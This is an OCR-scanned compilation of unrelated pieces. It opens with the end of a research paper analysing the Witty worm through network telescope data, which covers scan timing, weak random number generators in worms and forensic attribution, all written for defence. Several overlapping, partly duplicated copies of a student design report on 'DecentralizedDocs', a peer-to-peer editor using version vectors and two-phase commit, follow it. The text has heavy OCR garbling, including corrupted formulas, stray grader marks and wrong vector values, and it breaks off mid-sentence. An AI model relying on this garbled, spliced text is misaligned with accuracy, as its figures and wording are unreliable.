infection is quite low. With about 11,000 pkts/sec seen at
a telescope with 1/256 of the entire Internet address space,
and suffering 30% losses due to congestion (§ 5), the ag-
gregate scanning rate of the worm comes out to around
256-11,000/0.7 = 4 - 10° pkts/sec. With more than 4 - 10°
addresses to scan, the probability that more than one in-
fectee scans the same address within the same 10 second
interval is around 1%.

Figure 12 shows scan packets from infected sources that
targeted other infectees seen at the telescope. The z-
coordinate gives tscan, the packet’s estimated sending time,
and the y-coordinate gives the difference between tingection,
the time when the target infectee fi rst appeared at the tele-
scope, and fsan. A small positive value of tinfection — fscan
raises strong suspicions that the given scan packet is re-
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Figure 12: Scans from infectees, targeted to other victims.
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Figure 13: Number of scans in 10 second buckets.

sponsible for infecting the given target. Negative values
mean the target was already infected, while larger positive
values imply the scan failed to infect the target for some
reason — it was lost,® or blocked due to the random desti-
nation port it used, or simply the target was not connected
to the Internet at that time. (Note that the asymptotic curves
at the top and bottom correspond to truncation effects re-
flecting the upper and lower bounds on infection times.)

The clusters at extreme values of infection — tscan in Fig-
ure 12 mask a very sharp additional cluster, even using the
log-scaling. This lies in the region 0 < tinfection —tscan < 10.
In Figure 13, we plot the number of scans in 10 second
buckets against finfection — tscan- The very central sharp peak
corresponds to the interval 0-to-10 seconds — a clear mark
of the dispatch of a successful scan closely followed by
the appearance of the victim at the telescope. We plan
to continue our investigation of infector-infectee relation-
ships, hoping to produce an extensive ‘lineage”of infection
chains for use in models of worm propagation.



7 Discussion

While we have focused on the Witty worm in this pa-
per, the key idea is much broader. Our analysis demon-
strates the potential richness of information embedded in
network telescope observations, ready to be revealed if we
can frame a precise model of the underlying processes gen-
erating the observations. Here we discuss the breadth and
limitations of our analysis, and examine general insights
beyond the specifi ¢ instance of the Witty worm.

Candidates for similar analysis. The binary code of
all Internet worms is available by defi nition, making them
candidates for disassembly and analysis. Similarly, copies
of many scanning and flooding tools have been captured by
white hat researchers, and traces observed at telescopes of
probing or attack traffi ¢ (or backscatter) from the operation
of such tools provide candidates for similar analysis. A pre-
liminary assessment we performed of ten well-known DoS
attack tools revealed that six of them use simple PRNGs
with unsophisticated seeds, while the other four use no ran-
dom number generation at all.. Even with limited knowl-
edge of the operation of such tools, we should in principle
be able to analyze logs of their attack traffi ¢ or backscat-
ter with a similar intent of reconstructing the sequence of
events in the automation of the attack, potentially leading
to information about the attacking hosts, their interaction
with the network, and other forensic clues.

Diversity of PRNGs. Our analysis was greatly facili-
tated by the use of a linear congruential PRNG by Witty’s
author. Reverse-engineering the state of a more complex
PRNG could be much more diffi cult. In the extreme, a
worm USing a cryptographically strong hash function with
a well- i uld greatly resist such
reverse engineering. However, there are several practical
reasons that support the likelihood of many attackers using
simpler PRNGs.

Implementing good PRNGs is a complicated task [8],
especially when constrained by limits on code size and the
diffi culty of incorporating linkable-libraries. TLarge-scale
worms benefit greatly from as self-contained a design as
possible, with few dependencies on platform support, to
maximize the set of potential victims. Worms have also
proven diffi cult to fully debug — virtually all large-scale
worms have exhibited signifi cant bugs — which likewise
argues for keeping components as simple as possible. His-
torically, worm authors have struggled to implement even
the LC PRNG correctly. The initial version of Code Red
failed to seed the PRNG with any entropy, leading to all
copies of the worm scanning exactly the same sequence of
addresses [2]. Slammer’s PRNG implementation had three
serious errors, one where the author used a value of the pa-
rameter b in the LC equation (Eqn. 1) that was larger than
the correct value by 1 due to an incorrect 2’s complement
conversion, another where this value was subtracted from

instead of added to the term aX; in Eqn 1, and fi nally the
(mis)use of an OR instruction rather than XOR to clear a
key register [11]. In addition, sources of local entropy at
hosts are often limited to a few system variables, compli-
cating the task of seeding the PRNG in a fashion strong
enough to resist analysis. Thus it is conceivable that worm
authors will have diffi culty implementing bug-free, com-
pact versions of sophisticated PRNGs.

In addition, today’s worm authors have little incentive
to implement a complex PRNG. As long as their goals are
confi ned to effectively scanning the IP address space and
maximizing the worm’s infection rate, simple PRNGs suf-
fice. Hiding one’s tracks while releasing a worm can al-
ready be accomplished by using a chain of compromised
victims as stepping stones. Indeed, the fact that Witty’s au-
thor left Patient Zero running with a separate program for
spreading the worm was purely a mistake on his/her part.
As discussed earlier, the code it ran scanned a very small
subset of the IP address space, and did not manage to pro-
duce even one infection during scanning.

Thus, there are signifi cant factors that may lead to the
continued use by worms of simple PRNGs such as LC,
which, along with the availability of disassembled code,
will facilitate the development of structural models of
worm behavior to use in conjunction with telescope obser-
vations for detailed reconstructions.

General observations from this work. Our study has
leveraged the special conditions produced by a worm’s re-
lease to measure numerous features of its victim population
and the network over which it spread. While specifi c esti-
mation tricks developed in this paper might not apply to
other telescope observations in a ‘tookbook™manner, the
insight that telescope observations carry rich information
that can be heavily mined armed with a suffi ciently detailed
model of the underlying source processes is of major sig-
nifi cance for the future study of such data.

Understanding the structure of the scanning techniques
used by worms (and empirical data on hitherto unmeasured
quantities such as distribution of access bandwidth) can be
crucial for developing correct models of their spread — a
case made for example by our observation of the doubly-
scanned and never-scanned portions of the address space,
and their multi-factored impact on the worm’s growth.

Finally, we would emphasize that the extraction of the
features we have assessed was a labor-intensive process.
Indeed, for many of them we did not initially apprehend
even the possibility of analyzing them. This highlights not
only the diffi culty of such a forensic undertaking, but also
its serendipitous nature. The latter holds promise that ob-
servations of other Internet-scale events in the future, even
those of signifi cantly different details or nature, will likely
remain open to the possibility of such analysis.



8 Conclusions

A worm’s propagation is a rare but spectacular event in to-
day’s networks. Apart from the obvious disruptionsand
damage, worms also stress the network in unique ways and
at scales unmatched by any controlled measurement exper-
iments. One could say that a worm’s release illuminates,
for a few moments, dark corners of the network just as
supernovae illuminate dark and distant corners of the uni-
verse, providing rich observations to telescopes that gather
a mere sliver of the enormous radiant flux. But within the
overwhelming mass of observed data lies a very structured
process that can be deciphered and understood — if studied
with the correct model.

We have shown how a fi ne-grained understanding of the
exact control flow of a particular worm — especially its
seeding and use of a pseudo-random number generator —
when coupled with network telescope data enables a de-
tailed reconstruction of nearly the entire chain of events
that followed the worm’s release. In the process we have
unearthed measurements of quantities such as access band-
width and system up-time that are otherwise unobservable
to the ‘haked eye” of researchers studying systems from
afar. These measurements have applicability to a number
of modeling and simulation studies, both in particular to
worm propagation analysis, and more generally as a source
of rarely-available empirical data. Finally, we have demon-
strated the forensic power that such analysis can provide,
marshalling strong evidence that the Witty worm specifi -
cally targeted a US military base and was launched via an
IP address corresponding to a European ISP.
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Notes

1[21] analyzes what Witty’s design implies about its anthor.

2The main body of the Witty worm, including the initial pad required
to cause the buffer overfbw, fits in 675 bytes. However, the worm picks
a larger packet-size, as shown in line 5 of Fig. 2, and pads the tail of the
packet with whatever is on the stack, presumably to complicate the use of
static fi ltering to block the contagion.

3Since m = 232, the modulo operation is implemented implicitly by
the use of 32 bit registers and disregarding their overfbw during arithmetic
operations.

“The only related case of which we are aware was the Melissa email
virus [3], where the author posted the virus to USENET as a means of
initially spreading his malcode, and was traced via USENET headers.

5We ignore infectees that contributed < 20 packets.

%We can attribute the missing 5 Mbps to other, ever-present ‘back-
ground radiation” that is a constant feature at such telescopes [15].

"The distortion is not static but evolves with the spread of the worm.
By tracking changes in the slope of the upper envelope, we can infer the
value of the distortion against time throughout the period of activity of the
worm.

8 Recall that the effective bandwidth of most infectees is much lower
than the access bandwidth, indicating heavy loss in their generated traffi c.
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Introduction

Users would like to collaborate on a text document without using a central server or needing to be
online all the time. We propose the design of DecentralizedDocs, a peer-to-peer text editor, which
fulfills this demand. DecentralizedDocs allows users to edit text offline and then reconcile the text with
their teammates. It supports both written text and code.

DecentralizedDocs manages a data structure that augments text with version vectors to support

merging of changes. It carries out reconciliation and commits using a networking architecture that does /” ‘
not assume constant Internet connectivity, and a logging system that does not assume perfect uptime. , fpmt, %
Users can work offline, automatically combine changes in different areas of the document, and

designate "commit points" to submit versions of the document that include the changes made by all

users. ((}{ﬂf"?‘

!
DecentralizedDocs requires that each machine has a unique machine name, group sizes are fixed, and eJ'h“L?L
that each user know the IP address of his/her collaborators. -hw[‘MLJ

Requirements

Design decisions often require tradeoffs. We prioritize the following goals when making these decisions:

Usability

The most important goal of a software system is to allow users to complete tasks as efficiently as

possible. In this case, the task is collaborative text editing. DecentralizedDocs should not place

unnecessary burdens on users that make the task harder; for instance, requiring a central server is

unacceptable as it prevents offline editing. DecentralizedDocs also provides automated merging

algorithms so users can avoid error-prone manual merging when the computer can do it for them,

improving user interface safety.

Fault-Tolerance M v(’W(f

Computers, networks, and other components of systems often fail without warning. Users should not | ( 3

have to redo actions that they already committed, even if failures outside their control occur. L//Lmt O\W)
DecentralizedDocs realizes that the infrastructure necessary to carry out tasks may not always be ‘
working, and implements algorithms to preserve the results of completed user actions. T}M (W
Simplicity

Unnecessary complexity makes systems harder to reason about and change as requirements are

updated. DecentralizedDocs applies existing and well-understood algorithms instead of designing from

scratch when doing so simplifies the system. Usability Is more important than simplicity, so making a
more complex implementation is acceptable if the interface remains simple.

Design CJM

DecentralizedDocs involves four major design components: a data structure for documents that

incorporates versioning, the editor and its user interface, the algorithm used to resolve changes from
multiple users, and commit point handling.

e et 4 gfis d fu dn’



Data Structure

The basic unit of the document is a line. In code this is simply one line, but in a written text document,
one line is equivalent to a paragraph when word wrap is enabled. Lines are broken up by \n characters.
Line structures contain a reference to the text in the line, an index showing the line's position in the
document, and a unique ID. This line ID is the hash of the current timestamp and machine name, making
it effectively random. Lines have the code shown in Figure 1:

struct Line {
long id;
char* text;
int position;
VersionVector text_version_vector;
VersionVector position_version_vector;

¥

Figure 1. The data structure for a line.

Each line has two version vectors associated with it; one for text and the other for position. A
version vector contains a line revision numbers for each user. Version numbers start at © for a new line.
When either text or position is changed, the corresponding version vector component is

incremented by 1. Version vectors have the code shown in Figure 2: M C/‘ﬂ [WW(/ //
Lo
{

struct VersionVector {
int version_counters[N]; // N is the number of collaborators 1 #%7/ V
// Position n corresponds with collaborator n ( V
) Cap rref

Figure 2. The data structure for a version vector.

DecentralizedDocs compares newness of a variable through version vectors. We say that a version
vector a is "strictly newer" than another version vector b if for all integers n between 0 and N,
a.version_counters[n] >= b.version_counters[n]. If neither a nor b is strictly newer, then

we consider them to be "concurrent". @Odd &@H& e )cﬂ };ﬂ&ﬂﬁﬁ

DecentralizedDocs stores documents in memory as linked lists of lines. To save documents on disk, it
serializes the linked lists. Figure 3 visualizes the data structure of a document.

fonl



The document (as seen by the user) The document (as Lines in memory)

This is a paragraph in the document, e id: 34314

i text “."
) position: 0
This is a second paragraph. Note that it is possible text_versian_vector: <2, 3, 1>

far lines to wrap around. position_version_vector: <1, 1, 2=

id: 14255

- text: "..."

4 position: 1

text_version_vector: <3, 5, 9>
position_version_vector: <1, 1, 3>

Figure 3. The data structure and its presentation. The user sees a continuous block of text, but lines are stored in
their own structures internally.

Editor

DecentralizedDocs provides a text editor with a special user interface.

Independent editing of the document is similar to most other editors. Users can modify text by typing,

and click on a save button to save the current version of the file to disk. Users expect to see unsaved é d’«‘fﬂye
changes as they are in progress, so DecentralizedDocs supports this use case. When the user is editing

the document, he/she is actually viewing a shadow copy of the document data structure. When the user "‘dl] 'Hg('f
edits the document, the shadow copy is updated to reflect the user's changes. When the user saves, the ﬁ/"
pointer to the original copy of the document is moved to point to the shadow copy, the document is !
serialized to disk, and a new shadow copy is prepared for future edits. If DecentralizedDocs closes e
because the user exited or a failure occurred, unsaved changes are lost (keeping them might leave the CLW/LJCJ
document in a partially-modified state).

To reduce memory demands, the shadow copies use copy-on-write semantics. The pointers in the
shadow copy's linked list initially point to the Lines in the original copy, and new Line structures are
created only when the user makes edits.The text and position fields from old Lines are kept on a
stack to support undo and redo operations, and freed when the editor closes or the stack exceeds a
user-defined capacity.

DecentralizedDocs' interface includes buttons that the user can click on to begin reconciliation or
commit operations.

\
Reconciliation L[ CUH@\{/U’W[ mal Z‘/L)
DecentralizedDocs supports pair-wise reconciliation. In larger networks, pairs will reconcile individually

until the entire network reaches equilibrium. |

e




We define an operation called “pull” which involves two users (call them Alice and Bob). Suppose Alice
pulls from Bob. The goal of the operation is for Alice's document to incorporate all changes newly
discovered in Bob's copy of the document. The implementation must address two concerns: it must
automatically merge Bob's changes into Alice's document where no conflict exists and ask Alice for

manual resolution when there are conflicts, and it must not leave Alice's document in a partially-merged
state if either host or the network fails.

The pull operation is composed of the following high-level steps. First, Bob sends Alice his linked list of \
line data structures, followed by an eﬂ_‘t_ﬁgﬂg_fer‘ message to indicate that the transfer is complete. A
The transfer uses TCP for reliable packet delivery. Next, Alice's DecentralizedDocs copy identifies all

Lines newly created in Bob's version (they will have values for id that she has not seen before) and

includes those in her document. She also reconciles changes to variables that exist in both users' éﬂl//
documents. DecentralizedDocs will try to resolve the changes automatically. If it needs human

intervention; it will show Alice a conflict-resolution dialog with both versions of the variable, and ask her
to provide a merged version.

Qtomatic merging is handled by comparing version vectors. Alice automatically accepts new lines from
Bob. DecentralizedDocs compares all of Alice's version vectors with Bob's for each text or position
variable; if one version vector is strictly newer than the other, then the newer vector's corresponding
value will be used for the variable in the merged document. If the vectors are concurrent,
DecentralizedDocs compares the two changed variables. If the value of the variable is the same in both
documents (both users made the same change), DecentralizedDocs accepts that change; otherwise, it
asks Alice (the puller) to resolve the conflict. At the end of each variable resolution, Alice's version
vector is updated to contain the maximum version number between her vector and Bob’s for that
variable. It is subsequently incremented by one in Alice's index if she manually resolved a conflict for
that variable, because by doing so, she made a change to the document.

Figure 4 shows an example of version vectors syncing:

Before pull:
Alice’s W = <5,7>
Bob’s W = <5,9>

Bob’s text is chosen

After pull:

Alice’s W = «5,9>

Bob’s W = <5,9> ,

Figure 4. The state of a variable's version vectors before and after Alice pulls from Bob. \D(J
GJQ}h?

Fault-tolerance is managed using write-ahead redo logging. All log records contain sufficient information
to make idempotent redo actions possible. Alice does not actually write to her document data structure

o
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until the pull is successfully complete. At the beginning of Alice's pull, DecentralizedDocs writes a
start_transaction record to her log with a transaction ID. When new lines are added to the
document, DecentralizedDocs appends an add_1ine record, including a serialized Line structure for
that new line. After every difference is resolved, either automatically or manually, DecentralizedDocs
logs an update_variable entry, containing the id of the Line being updated, whether the variable is
text or position, and the new values for the variable and its version vector.

[
When all variables have been accounted for, DecentralizedDocs write a commit_transaction entry
to the log with the transaction ID from the start. It plays out the whole transaction, making every
specified change to the document, then writes an end_transaction entry (with ID). If Alice's machine
crashes, then on recovery, DecentralizedDocs writes out and ends all unended committed transactions.

If Alice stops receiving Lines from Bob before the end_transfer message, this implies that either Bob's
machine or the network has failed. DecentralizedDocs writes an abort_transaction entry to the log
(with ID) and the changes are never made to the document. If Bob's machine or the network fails after
the end_transfer message, the pull proceeds as normal. If Alice's machine fails before committing the
transaction, then on recovery, DecentralizedDocs notes that the transaction that has not been
committed and does not perform it on the document.

The non-destructive nature of logging allows a performance optimization - Alice can begin inspecting
e g

and reconciling Lines as soon as she receives them from Bob, while the remaining Lines are in transit. If

failure occurs, the recovery system avoids partially updating the document.

A “sync” is a two-step pattern that users will often follow. If Alice initiates a sync with Bob, then Alice
pulls from Bob (possibly with manual resolution), then Bob pulls from Alice (this is completely
automatic; after the first pull, all of Alice's version vectors are strictly newer than Bob's). It is possible for
failure to occur after the first pull, preventing the second pull, but this is not harmful; both users have a
valid document and can complete the sync later.

There is a use case for disjoint syncs that justifies allowing this possibility. Suppose Alice is in the

progress of adding a new section to a report. She may want to stay up-to-date with Bob's incremental
changes, but not to releaseﬁher changes until the new section is complete. With this architecture, she
can periodically pull from BoB; this would not be possible if DecentralizedDocs required all-or-nothing

syncs. ‘

A Stre ff/«@ﬂW)
If Alice edits sentence x of a Line while Bob edits sentence y (two changes to the same'text variable),
DecentralizedDocs considers this to be a conflict requiring manual resolution. While it is possible to
create a merged line containing Alice's sentence x and Bob's sentence y, doing so may create a
paragraph that is semantically invalid. Merging in this case could be especially harmful in languages

other than English. We think silently writing such a paragraph to the document is not user-friendly, and
choose to alert users instead.




Committing
The commit system is implemented as a two-phase commit system. The commit initiator serves as a

coordinator by contacting all of the users in the system individually. The coordinator also maintains a
‘__.__,—-—"
transaction log for error recovery.

When a pair of users attempts to commit, the system will check that both users are connected over a
network. If the users are not connected, the message will be stored so that it appears once the users
become connected.

The process will first check to make sure that all users are up to date (i.e. all version vectors match
among all users). If this condition is not met, the commit will be aborted. Next, users are asked if they
want to commit through a user interface. All users must agree to the commit before the commit occurs.
If any user disagrees, the process is aborted. After a user agrees to commit, their local file is locked.

T
If all users agree, the coordinator decides to commit. A checkpoint is recorded in each user’s log, along 72/"‘
with the specific version being committed and the document name. The coordinator then tells all nodes W/O‘)L

to actually commit. The local node marks that version as committed and unlocks the local copy. fh‘

o
If something goes wrong before the coordinator decides to commit, the coordinator can tell the local

nodes to release their locks. If something goes wrong after the coordinator decides to commit, the

commit will be processed once the nodes come back online. Failed commits will be revived using the

checkpoint in the user’s log.

For the sake of simplicity, only one commit at a time can be initiated. Should multiple users try to
commit at the exact same time, one random user’s commit process will begin. The other users will be
informed via message that a commit has already been initiated and that they should wait until the
process is complete before trying to initiate a new commit.

Once a document is committed under a particular name, that name cannot be used in future commits.
Should a user attempt to commit a document with a name used in the past, a message will appear with
the version number of the document that was committed. The message will also direct the user to select
another name. The version number of the already committed document and name will be obtained
from the user’s log.

Decentralized Docs will automatically create a

Analysis

DecentralizedDocs supports several complex conflict resolution scenarios.

Changes to text in different areas



If Alice and Bob add text to many different paragraphs throughout the document and make a single
diverging change to the introduction, DecentralizedDocs limits manual reyciliation to the
introduction.

When Alice and Bob sync, the person who initialized the sync is the first one to pull (suppose it is Alice).
All of the variables Bob has modified in the paragraphs throughout the document will have strictly
newer version vectors than Alice's versions of the variables, as the vector components at Bob's position
will be greater. The components at Alice's position should be the same in both users' vectors, because
Alice has not modified the same paragraphs as Bob. Therefore, Alice accepts all of Bob's changes
without conflict. The only exception is the change to the introduction; this has concurrent version
vectors and is a genuine conflict. Alice resolves this change manually, and in the process her version
vector for the introduction is updated to become strictly newer than Bob's. Finally, Bob pulls from Alice;
his version vectors will be strictly older for the paragraphs Alice modified and the resolved introduction,
and his document includes all changes without conflict. The versioning algorithm has allowed both users

"y ot 1ol v
S0P ity pon —ma "ol welh /
o . - f
Avoiding double-resolution Pof (4
There are use cases where incorrectly-designed versioning methods inconvenience users by forcing ﬁ)/

to sync with no unnecessary conflicts.

them to manually resolve changes that have already been accounted for. One such use case occurs
when the following actions happen: Alice and Bob (connected together) synchronize and include a
change that Bob has made to a sentence. At the same time, Charlie, who is offline, changes the same
sentence in a different way. Later, Alice synchronizes with Charlie, and she resolves the conflict in that
sentence. Later, when Charlie synchronizes with Bob, Bob should not see a conflict in the sentence Alice
resolved.

DecentralizedDocs solves this problem in a user-friendly manner. When the two changes to the
sentence are made, Alice and Bob's version vectors for the corresponding text variable are
incremented in Bob's component, and Charlie's version vector is incremented in his component. When
Alice and Charlie sync, the vectors are concurrent, and Alice's change resolution causes her version
vector to update and increment in her component, becoming strictly newer than Charlie's. Charlie's
version vector becomes equal to Alice's after he pulls from her to complete the sync. When Charlie and
Bob sync, Charlie's version vector is strictly newer than Bob's, so Bob receives the resolved sentence
without conflict. Figure 5 shows an example of this scenario with concrete values.

Initially, everyone is synced:

Alice's VWV = <5, 6, 4>
Bob's VWV = 45, By 4%
Charlie's W = <5, 6, 4>

Then Bob and Charlie make changes simultaneously:
Alice's VWV = <5, 6, 4>
Bob's VWV =<5, 7, 4>



DecentralizedDocs tracks versions of documents' contents at a fine-grained level and supports peer-to-

peer interaction, allowing users to collaboratively edit without a central server. The design emphasizes

usability and correctness; it does not place unnecessary barriers in front of users or drop saved changes
just to make the implementation simpler.

DecentralizedDocs does not support groups whose sizes vary throughout the project. It also does not
implement major performance optimizations such as parallelism where those would complicate the
design. Besides these issues, DecentralizedDocs fulfills the desired requirements and use cases.

Acknowledgments
Thanks to Travis Grusecki for clearly explaining the difference between version vectors and vector
timestamps, and how they apply to this design.
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Charlie's VW = <5, 6, 5>

Bob syncs with Alice (His version vector is strictly newer, so she accepts):
Alice's W = <5, 7, 4>
Bob's VWV =<5, 7, &>
Charlie's WV <5, 6, 5>

Now, Alice and Charlie's VVs are concurrent. Alice pulls from Charlie, sees a
conflict, and resolves it. Her version vector component is incremented
because she changed the variable to resolve it:

Alice's VWV = X6y Ly DY
Bob's VWV =i&5y5 Ty 4>
Charlie's VV = <5, 6, 5>

Charlie pulls from Alice (without conflict) to complete the sync:
Alice's WV = <6, 7, 5>
Bob's VWV =<5, 7, 4>
Charlie's W <6, 7, 5>

Charlie and Bob sync. Charlie's VV is strictly newer than Bob's, so Bob
accepts Charlie's version without conflict.

A's W = <6, 7, 5>

B's W = <6, 7, 5>

C's W =<6, 7, 5>
Figure 5. Version vectors carry enough information to prevent double-reconciliation.

Changes to text and position

If Alice moves several paragraphs, and Bob edits a sentence in one of those paragraphs, then a conflict
should not occur when they sync. DecentralizedDocs addresses this case by maintaining separate
version vectors for position and text. Alice's position_version_vectors for the paragraphs she
moved will be strictly newer than Bob's, and Bob's text_version_vector for the sentence will be
strictly newer than Alice's. When pulling, DecentralizedDocs sees this as two separate changes; and both
updates will be written to the log and played out without conflict.

Convergent Changes

If Alice and Bob both change the text of a Line to the same value, then when they sync,
DecentralizedDocs does not require manual conflict resolution even though their version vectors are
concurrent. This is treated as a special case checked in code; after encountering a concurrent version
vector, DecentralizedDocs inspects the two values for the variable, and only presents a conflict
resolution dialog if the two values are different.

Conclusions
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Introduction

Users would like to collaborate on a text document without using a central server or needing to be
online all the time. We propose the design of DecentralizedDocs, a peer-to-peer text editor, which
fulfills this demand. DecentralizedDocs allows users to edit text offline and then reconcile the text with
their teammates. It supports both written text and code.

DecentralizedDocs manages a data structure that augments text with version vectors to support
merging of changes. It carries out reconciliation and commits using a networking architecture that does
not assume constant Internet connectivity, and a logging system that does not assume perfect uptime.
Users can work offline, automatically combine changes in different areas of the document, and
designate "commit points" to submit versions of the document that include the changes made by all
users.

DecentralizedDocs requires that each machine has a unique machine name, that group sizes be fixed,
and that each user know the IP address of his/her collaborators.

Requirements

Design decisions often require tradeoffs. We prioritize the following goals when making these decisions:

Usability

The most important goal of a software system is to allow users to complete tasks as efficiently as
possible. In this case, the task is collaborative text editing. DecentralizedDocs should not place
unnecessary burdens on users that make the task harder; for instance, requiring a central server is
unacceptable as it prevents offline ad-hoc editingimer1). DecentralizedDocs also provides automated
merging algorithms so users can avoid error-prone manual merging when the computer can do it for
them, improving user interface safety. However, when merging would corrupt the state of the
document, DecentralizedDocs asks the user how to proceed.

Fault-Tolerance

Computers, networks, and other components of systems often fail without warning. Users should not
have to redo actions that they already committed, even if failures outside their control occur.
DecentralizedDocs realizes that the infrastructure necessary to carry out tasks may not always be
working, and implements algorithms to preserve the results of completed user actions.

Simplicity

Unnecessary complexity makes systems harder to reason about and change as requirements are
updated. DecentralizedDocs applies existing and well-understood algorithms instead of designing from
scratch when doing so simplifies the system. Usability is more important than simplicity, so making a
more complex implementation is acceptable if the interface remains simple.



Design

DecentralizedDocs involves four major design components: a data structure for documents that
incorporates versioning, the editor and its user interface, the algorithm used to resolve changes from
multiple users, and commit point handling.

Data Structure

The basic unit of the document is a line. In code this is simply one line, but in a written text document,
one line is equivalent to a paragraph when word wrap is enabled. Lines are broken up by \n characters.
Line structures contain a reference to the text in the line, an index showing the line's position in the
document, and a unique ID. This line ID is the hash of the current timestamp and machine name, making
it effectively random. Lines have the code shown in Figure 1:

struct Line {
long id;
char* text;
int position;
VersionVector text_version_vector;
VersionVector position_version_vector;

!

Figure 1. The data structure for a line.

Each line has two version vectors associated with it; one for text and the other for position. A
version vector contains a line revision numbers for each user. Version numbers start at © for a new line.
When either text or position is changed, the corresponding version vector component is
incremented by 1. Version vectors have the code shown in Figure 2:

struct VersionVector {
int version_counters[N]; // N is the number of collaborators
// Position n corresponds with collaborator n

}

Figure 2. The data structure for a version vector.

DecentralizedDocs compares newness of a variable through version vectors. We say that a version
vector a is "strictly newer" than another version vector b if for all integers n between 0 and N,
a.version_counters[n] »>= b.version_counters[n].If neither a nor b is strictly newer, then
we consider them to be "concurrent".

DecentralizedDocs stores documents in memory as linked lists of lines. To save documents on disk, it
serializes the linked lists. Figure 3 visualizes the data structure of a document.



The document {as seen by the user) The document (as Lines in memary)

This is a paragraph in the document Treal, - id: 34314
- text: ".."
position: 0
text_versian_vector: <2, 3, 1>
position_version_vectar: <1, 1, 2>

This is a seconad paragraph. Note that it is possible
for lines lo wrap arcund.

ich: 14255

ext ".."

position: 1

text_version_vector: <3, &, 8>
pasition_version_vector: <1, 1, 3>

Figure 3. The data structure and its presentation. The user sees a continuous block of text, but lines are stored in
their own structures internally.

Editor

DecentralizedDocs provides a text editor with a special user interface.

Independent editing of the document is similar to most other editors. Users can modify text by typing,
and click on a save button to save the current version of the file to disk. Users expect to see their own
unsaved changes as they are in progress, so DecentralizedDocs supports this use case. When the user is
editing the document, he/she is actually viewing a shadow copy of the document data structure. When
the user edits the document, the shadow copy is updated to reflect the user's changes. When the user
saves, the document is serialized to disk, the pointer to the original copy of the document is moved to
point to the newly serialized copy, and a new shadow copy is prepared for future edits. If
DecentralizedDocs closes because the user exited or a failure occurred, unsaved changes are lost
(keeping them might leave the document in a partially-modified state).

Adding a new line to the document (by typing a \n and then text) creates a new Line data structure. The
new Line has its position set to be between existing lines; position can be a decimal if the new line
is between existing lines (to avoid triggering changes on the existing lines which will complicate
merging). Editing an existing line changes its text field. Deleting a line sets text to the empty string. It
does not remove the Line structure from the document, as this may cause the existence of the same line
in another user’s file to be misinterpreted as an addition. Moving a line updates position. After all
updates, the corresponding variable’s version vector is incremented at the index for the editing user.s

To reduce memory demands, the shadow copies use copy-on-write semantics. The pointers in the

shadow copy's linked list initially point to the Lines in the original copy, and new Line structures are
created only when the user makes edits. The text and position fields from old Lines are kept on a
stack to support undo and redo operations, and freed when the editor closes or the stack exceeds a
user-defined capacity.



DecentralizedDocs' interface includes buttons that the user can click on to begin reconciliation or
commit operations.

Reconciliation

DecentralizedDocs supports pair-wise reconciliation. In larger networks, pairs will reconcile individually
until the entire network reaches equilibrium.

We define an operation called “pull” which involves two users (call them Alice and Bob). Suppose Alice
pulls from Bob. The goal of the operation is for Alice's document to incorporate all changes newly
discovered in Bob's copy of the document. The implementation must address two concerns: it must
automatically merge Bob's changes into Alice's document where no conflict exists and ask Alice for
manual resolution when there are conflicts, and it must not leave Alice's document in a partially-merged
state if either host or the network fails.

The pull operation is composed of the following high-level steps. First, Alice and Bob’s documents are
automatically saved, to eliminate discrepancies between the displayed shadow copy and the canonical
original copy of the document. Bob sends Alice his linked list of line data structures, followed by an
end_transfer message to indicate that the transfer is complete. The transfer uses TCP for reliable
packet delivery. Next, Alice's DecentralizedDocs copy identifies all lines newly created in Bob's version
(they will have values for id that she has not seen before) and includes those in her document.

Next, Alice attempts to reconcile changes to variables that exist in both users' documents.

Automatic Merging

DecentralizedDocs will try to resolve the changes automatically. Automatic merging is handled by
comparing version vectors. Alice automatically accepts new lines from Bob. DecentralizedDocs

compares all of Alice's version vectors with Bob's for each text or position variable; if one version
vector is strictly newer than the other, then the newer vector's corresponding value will be used for the
variable in the merged document. If the vectors are concurrent, DecentralizedDocs compares the two
changed variables. If the value of the variable is the same in both documents (both users made the same
change), DecentralizedDocs accepts that change; otherwise, it asks Alice (the puller) to resolve the
conflict. At the end of each variable resolution, Alice's version vector is updated to contain the
maximum version number between her vector and Bob’s for that variable.

If DecentralizedDocs is unable to resolve the change automatically; it will show Alice a conflict-
resolution dialog with both versions of the variable, and ask her to provide a merged version. Alice’s
copy of DecentralizedDocs will increment Alice's version vector component by one if she manually
resolved a conflict for that variable, because by doing so, she made a change to the document.

Figure 4 shows an example of version vectors syncing:

Before pull:



Alice’s W = <5,7>
Bob’s W <5,9>

Bob’s text is chosen and pull completes:
Alice’s W = <5,9>
Bob’s W = <5,9>
Figure 4. The state of a variable's version vectors before and after Alice pulls from Bob.

Logging

Fault-tolerance during pulls is managed using write-ahead redo logging. All log records contain sufficient

information to make idempotent redo actions possible. Alice does not actually write to her document
data structure until the pull is successfully complete. At the beginning of Alice's pull, DecentralizedDocs
writes a start_transaction record to her log with a transaction ID. When new lines are added to the
document, DecentralizedDocs appends an add_1line record, including a serialized Line structure for
that new line. After every difference is resolved, either automatically or manually, DecentralizedDocs
logs an update_variable entry, containing the id of the Line being updated, whether the variable is
text or position, and the new values for the variable and its version vector.

When all variables have been accounted for, DecentralizedDocs write a commit_transaction entry
to the log with the transaction ID from the start. It plays out the whole transaction, making every
specified change to the document, then writes an end_transaction entry (with ID). If Alice's machine
crashes, then on recovery, DecentralizedDocs writes out and ends all unended committed transactions.

If Alice stops receiving lines from Bob before the end_transfer message, this implies that either Bob's
machine or the network has failed. DecentralizedDocs writes an abort_transaction entry to the log
(with ID) and the changes are never made to the document. If Bob's machine or the network fails after
the end_transfer message, the pull proceeds as normal. If Alice's machine fails before committing the
transaction, then on recovery, DecentralizedDocs notes that the transaction that has not been
committed and does not perform it on the document.

The non-destructive nature of logging allows a performance optimization - Alice can begin inspecting
and reconciling lines as soon as she receives them from Bob, while the remaining lines are in transit. If
failure occurs, the recovery system avoids partially updating the document.

Synchronization

A "sync” is a two-step pattern that users will often follow. If Alice initiates a sync with Bob, then Alice
pulls from Bob (possibly with manual resolution), then Bob pulls from Alice {this is completely
automatic; after the first pull, all of Alice's version vectors are strictly newer than Bob's). It is possible for
failure to occur after the first pull, preventing the second pull, but this is not harmful; both users have a
valid document and can complete the sync later.



There is a use case for disjoint syncs that justifies allowing this possibility. Suppose Alice is in the
progress of adding a new section to a report. She may want to stay up-to-date with Bob's incremental
changes, but not to release her changes until the new section is complete. With this architecture, she
can periodically pull from Bob; this would not be possible if DecentralizedDocs required all-or-nothing
SYNCs.

If Alice edits sentence x of a line while Bob edits sentence y of the same paragraph (two changes to the
